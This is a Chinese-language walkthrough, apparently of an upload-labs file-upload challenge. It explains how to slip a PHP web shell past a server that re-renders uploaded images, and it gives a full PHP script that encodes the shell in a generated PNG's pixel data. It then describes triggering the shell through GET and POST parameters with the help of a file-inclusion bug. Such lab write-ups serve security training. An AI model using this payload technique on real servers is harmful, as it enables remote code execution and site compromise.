文件上传漏洞
- 解题
解题
首先查看一下页面情况
一如既往的是上传图片文件,这里提示我们本题对上传的图片重新进行了渲染。也就是说,我们这里上传的图片将会被打乱重组,那么如果还是将一句话木马和图片拼接,然后上传的话,那么一句话木马的完整性可能会被打乱,也就实现不了了。
那么我们就需要做出一些改变,使用另外一种方法。
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
这里是一段图片生成代码,可以实现我们木马的传入,同时在图片被二次打乱时,木马不会发生变化。
运行此代码,
这里我是将图片放置在了第十六关的目录下面,生成的图片为1.png
上传图片看一下。
图片上传成功,那我们再来看一下,上传的木马是什么
使用记事本运行图片看一下
很明显,这里是先GET传参一个值,然后再POST传参。
这里一个简单的办法就是使用Fiefox的插件HackBar帮助实现两次传参,或者就是使用抓包的方式,先get传参,然后抓到这个包之后,再修改使用POST传参。
这里我们就看一些火狐浏览器的插件上传。
其实这里的主要问题还是文件包含漏洞,如果没有文件包含,这里也是无法解决的。